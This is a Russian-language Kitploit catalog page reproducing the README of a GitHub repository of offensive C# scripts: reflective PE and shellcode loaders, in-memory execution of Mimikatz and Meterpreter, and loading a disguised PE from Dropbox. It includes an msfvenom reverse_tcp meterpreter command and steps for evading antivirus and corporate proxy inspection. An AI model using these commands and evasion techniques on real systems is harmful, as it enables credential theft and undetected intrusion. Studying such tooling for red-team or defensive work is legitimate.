Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CSharpScripts — C#-скрипты для наступательных действий: рефлексивная инъекция PE и шелл-кода, выполнение полезной нагрузки в памяти, перебор XOR для расшифровки шелл-кода и разбор сборок .NET. | Kitploit
Инструменты/GitHubGitHub/arno0x/csharpscripts
Инструменты шифрования/дешифрованияОбратная инженерияШелл-кодПост-эксплуатацияАнализ вредоносных программТестирование на ПроникновениеRed TeamingРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubarno0x/csharpscripts

CSharpScripts

C#-скрипты для наступательных действий: рефлексивная инъекция PE и шелл-кода, выполнение полезной нагрузки в памяти, перебор XOR для расшифровки шелл-кода и разбор сборок .NET.

344112209 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

C# Scripts

Автор: Arno0x0x - @Arno0x0x

Этот репозиторий предназначен для публикации некоторых моих C# скриптов. Некоторые из них просто ответвлены или вдохновлены другими скриптами, которые я нашёл тут и там, и я адаптировал их под свои нужды или просто для обучения и совершенствования.

Расшифровка методом перебора (bf), затем загрузка и выполнение shellcode, зашифрованного XOR

bfDecryptShellcode.cs

Этот скрипт — немного глупый и, вероятно, не очень полезный PoC расшифровки методом перебора многобайтового XOR-зашифрованного shellcode. После расшифровки shellcode загружается в память и выполняется.

Чтобы использовать его, вам нужны две вещи:

  1. Многобайтовый XOR-зашифрованный shellcode
  2. MD5-хеш расшифрованной полезной нагрузки, который служит маркером для определения того, что правильный ключ расшифровки найден

Оба можно получить, используя мой проект ShellcodeWrapper и подав в него любую raw полезную нагрузку metasploit.

Динамическая загрузка и разбор сборки .Net

parseAssembly.cs

Это консольное приложение динамически загружает сборку .Net (exe или dll) либо из локального файла, либо загруженную по URL, опционально в кодировке base64. После загрузки оно перечисляет её типы, методы и свойства. Примеры: parseAssembly.exe myAssembly.dll или parseAssembly.exe http://some.site.com/myAssembly base64

Работа с PE и рефлексивной инъекцией shellcode

Это набор скриптов, адаптированных из работы Casey Smith (@subTee) по рефлексивной инъекции PE или shellcode в вызывающий процесс, из различных источников.

peloader.cs

Этот скрипт загружает base64-кодированный x64 PE-файл (например: Mimikatz или Meterpreter) в память процесса и рефлексивно выполняет его. PE передаётся как строковая переменная в base64 в начале файла (да, он жёстко закодирован).

Вы можете сгенерировать эту base64-кодированную строку из любого файла с помощью следующей командной строки *nix:

root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64

Компиляция скрипта на машине с Windows требует .Net framework (устанавливается по умолчанию начиная с Windows 7):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs

shellcodelauncher.cs

Этот скрипт выполняет шелл-код в памяти процесса и рефлексивно его запускает. Шелл-код передаётся в виде массива байтов в переменной. Вы можете получить подходящий код для этого массива, автоматически сгенерированный с помощью утилиты msfvenom из Metasploit. Например, чтобы сгенерировать шелл-код reverse_tcp meterpreter:

root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp

Компиляция скрипта на машине с Windows требует .Net framework (устанавливается по умолчанию начиная с Windows 7):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs

runfromzipinmemory.cs

Этот скрипт в значительной степени и, к сожалению, основан на работе Casey Smith (@subTee) над Netkatz, вдохновлён ею и произведён от неё.

Я обнаружил, что локальный антивирус (McAfee) на моей корпоративной рабочей станции настроен так, чтобы НЕ анализировать содержимое ZIP-файла, вероятно, исходя из предположения, что всякий раз, когда это содержимое должно быть прочитано или выполнено, оно обычно сначала будет извлечено куда-нибудь на диск, и любая вредоносная составляющая в нём будет поймана антивирусом в этот момент.

Этот скрипт загружает всё в память и работает только оттуда, также используя рефлексию для выполнения PE из памяти вызывающего процесса.

Таким образом, не только антивирус вообще не реагирует, но и с криминалистической точки зрения единственный «видимо работающий процесс» выглядит совершенно безобидно.

Для компиляции скрипта на машине с Windows требуется .Net framework (устанавливается по умолчанию начиная с Windows 7):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs

Затем можно выполнить:

unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>

netPEloader.cs

Этот скрипт в значительной степени основан на работе Casey Smith (@subTee) над Netkatz и вдохновлён ею.

Netkatz — это фантастический PoC загрузки последнего релиза mimikatz с GitHub и его выполнения прямо в памяти. Однако в моей среде я столкнулся с тремя проблемами:

  1. Подключение к интернету должно осуществляться через корпоративный прокси, требующий аутентификации NTLM (Windows SSO — это нормально)
  2. Страница Mimikatz на GitHub блокируется корпоративным прокси из-за категоризации веб-сайтов
  3. Файл mimikatz_trunked.zip обнаруживается антивирусом прокси (да, при включённой SSL-инспекции на уровне прокси)

Поэтому я изменил оригинальный скрипт netkatz, чтобы решить эти 3 проблемы:

  1. Добавлена поддержка системного прокси и учётных данных по умолчанию (текущий пользователь Windows, выполнивший вход)
  2. Размещение PE на незаблокированном веб-сайте, выглядящем безобидно, например www.dropbox.com
  3. Что касается обеспечения незаметности PE для антивируса, мы могли бы использовать различные методы обфускации, такие как шифрование, специфическое кодирование, но мне нравится простая техника добавления 65536 случайных байтов мусора в начало настоящего x64 PE Mimikatz:
    • dd if=/dev/urandom of=garbage bs=65536 count=1
    • cat garbage mimikatz.exe > mimiHidden
    • Загрузить mimiHidden в dropbox и поделиться им

URL, с которого загружается скрытый PE, жёстко закодирован в скрипте.

Для компиляции скрипта на машине Windows требуется .Net framework (устанавливается по умолчанию начиная с Windows 7):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs
Скачать инструмент